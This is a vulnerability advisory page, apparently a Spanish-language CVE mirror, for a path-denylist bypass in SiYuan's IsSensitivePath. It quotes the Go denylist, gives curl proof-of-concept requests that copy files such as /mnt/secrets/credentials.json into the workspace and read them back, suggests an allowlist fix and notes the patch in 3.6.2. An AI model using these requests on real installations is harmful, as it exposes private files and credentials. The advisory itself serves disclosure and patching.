GHSA-VM69-H85X-8P85
SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-VM69-H85X-8P85 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.
Details
Current denylist in `kernel/util/path.go:391-405`:
prefixes := []string{
"/.", // dotfiles
"/etc", // system config
"/root", // root home
"/var", // variable data
"/proc", // process info
"/sys", // sysfs
"/run", // runtime data
"/bin", // binaries
"/boot", // boot files
"/dev", // devices
"/lib", // libraries
"/srv", // service data
"/tmp", // temp files
}NOT blocked:
- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.
- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs
- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets
- `/snap` — snap package data
- `/sbin`, `/lib64` — system binaries/libraries
The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFilePoC
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'Impact
- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path
- In Docker deployments: read application source code, configs, mounted secrets
- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked
Recommended Fix
Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Corregida | 3.6.2 | — | — |
3.6.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-33194https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256bhttps://github.com/siyuan-note/siyuanLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
